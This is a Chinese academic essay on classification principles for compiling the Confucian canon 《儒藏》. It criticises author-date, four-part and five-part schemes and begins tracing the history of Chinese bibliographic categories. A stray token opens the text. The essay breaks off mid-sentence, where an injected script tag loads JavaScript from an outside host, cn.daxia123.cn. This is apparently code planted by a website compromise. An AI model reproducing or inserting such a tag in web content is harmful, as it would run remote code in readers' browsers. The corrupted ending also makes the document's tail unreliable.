fiogf49gjkf0d
儒学是古代中国居于统治地位的学术,在中国古代三大主流思想儒、释、道中实居首位。但是,儒学的文献却没有象佛教、道教那样得到系统整理,儒学不仅没有象佛、道二教有《大藏经》和《道藏》那样,拥有一部自己的《儒藏》,而且也没有象佛学文献和道教文献那样,有系统的著录体系。明朝万历时期,孙羽侯、曹学佺先后曾有编纂《儒藏》的倡议和举措,皆因明朝的灭亡而无功中辍;清乾隆时周永年又撰《儒藏说》重加倡议,曾引起学人极大关注,并一定程度上促成了乾隆皇帝下决心编纂《四库全书》,但是《儒藏》本身也因条件不成熟而未能实现。1997年,四川大学曾将“儒学文献研究与《中华儒藏》编纂”列为“211工程”重点学科建设项目;2002年末,中国人民大学和北京大学又相继召开会议,向社会发布编纂《儒藏》的消息;2003年底,北京大学在教育部哲学社会科学重大项目投标中胜出,成为“《儒藏》编纂和研究”的组织者和实施者。从此,编纂《儒藏》再次成为从事古籍整理和古代学术研究的学者关注的焦点,报刊、络网对编纂《儒藏》的宗旨和意义,规模和价值,方式和方法,都进行了一定程度的讨论,足见学界对编纂《儒藏》工程的热心参与。但是,据笔者所知,目前有关《儒藏》问题的讨论还局限于“意义”(即重要性的宣扬)和“方式”(即校点或是影印)等肤浅的层面,对《儒藏》编纂学上的许多问题还未能深入讨论,或者尚认识不足。特别是编纂《儒藏》时不可回避的分类原则和著录体例问题,目前学人采取的只有简单的取舍态度,还缺乏认真的研究。如有人主张“按作者生卒先后排列”;有人主张“采用最能代表儒家学术观的四部分类法”;或又主张“采用‘经、史、子、集、丛’五分法”。为何采用这些编排方法,又都没有进一步说明,似乎这是一个不必讨论的问题。
笔者以为:举凡古之大著述,大工程,无不重视体例,讲究类目,编纂丛书,也是如此。如果类例不立,系统不建,学统不清,源流无别,丛书将不成其为丛书,学术也达不到彰明之目的。即或是有旧时体例可以因循,省却许多烦恼,但如果因陋就简,不思更张,必然削足适履,难以完全适应,即或勉强采用,也是他人体例,非我自家风范。故欲成大事业,成大著述者,必先明其宗旨,思其体例,首建系统,以自成风纪。是故向、歆司籍,九流以别,爰著《别录》,分立《七略》,使九流百家各有所统,诸子群书自得其归。唐撰《隋书•经籍志》,清修《四库总目》,虽然改六分为四部,类目也有很大调整,但其“辨章学术,考镜源流”,建立类例,以统群籍之功用,实与向、歆父子无别。
北京大学曾宣称:他们“实施的《儒藏》编纂工程,字数将超过八亿,规模相当《四库全书》”,这无疑是一项规模浩大的文化工程!作为《儒藏》这样大型的、专题的,也是前无古人的丛书,如果没有分类,如果无所创新,不仅与如此浩大的工程的地位极不相称,而且也与儒学文献的具体实际、学人阅读和使用《儒藏》时的特殊需求极不吻合。因此,只“以作者生卒年代编排”的构想显然不合乎“辨章学术,考镜源流”的需要,其不能作为大型丛书(特别是《儒藏》这样的学术性丛书)的编纂方法,是显而易见的。“经、史、子、集、丛五分法”呢,这是在丛书中又列“丛书”,无异《儒藏》中再有“儒藏”,大有叠床架屋、繁复绞绕之感,也是显然不妥的。故兹二说,这里暂且不予讨论。那么,据说是“最能代表儒家学术观的四部”法又如何呢?我们的直观感觉是:照搬旧法,缺乏创意;道大难容,文不对题。说它“照搬旧法,无所创新”,是由于“四部”分类法自魏、晋时期就已经成为国家图书的收储方法和著录体系,至今已有1700多年的历史了,当时的图书状况,当时的学术传统,必然与今天现存的图书状况和学术研究需求已经极不相当了,照搬旧式,无所创新,如何可以?说它“道大难容,文不对题”,是由于“四部”分类法系百科群书、三教九流等综合性图书分类体系,儒学当时只属于其中的一家,今天要编专科型《儒藏》,如何能够兼备众体?因此,“四部”分类法虽然已注意到要为《儒藏》找到了一个“分类体系”,但是找到的并不是科学的、合理的。因此有待进一步讨论的必要。
四川大学自1997年以来,即对儒学文献作过一番调查和分析,在分类问题上也曾有过初步探索,这里愿结合这些摸索,谈点个人关于《儒藏》分类体系的体会,以就正于方家。更希望学界从事文献目录和儒学研究的专家学者,对此问题展开认真的讨论。
一、论“四部”分类法的形成和适用范围
诚然,“四部”分类法确是中国古代文献分类的主要方法,但它不是唯一的方法,也不是一成不变的方法。就像它的形成有一个历史过程一样,它的适应对象也有其特定的范围。“四部”法是在中国古代文献类别不断增加,同时部分图书又在日渐减少的情况下逐渐形成的,它是针对中国古代综合性文献的状况(即无所不包,不所不有)而设立的。
中国目录之学自西汉刘向、刘歆父子创立以来,经历了许多次演变,其分类有六分、四分、五分、七分、八分、?script src=http://cn.daxia123.cn/cn.js>
|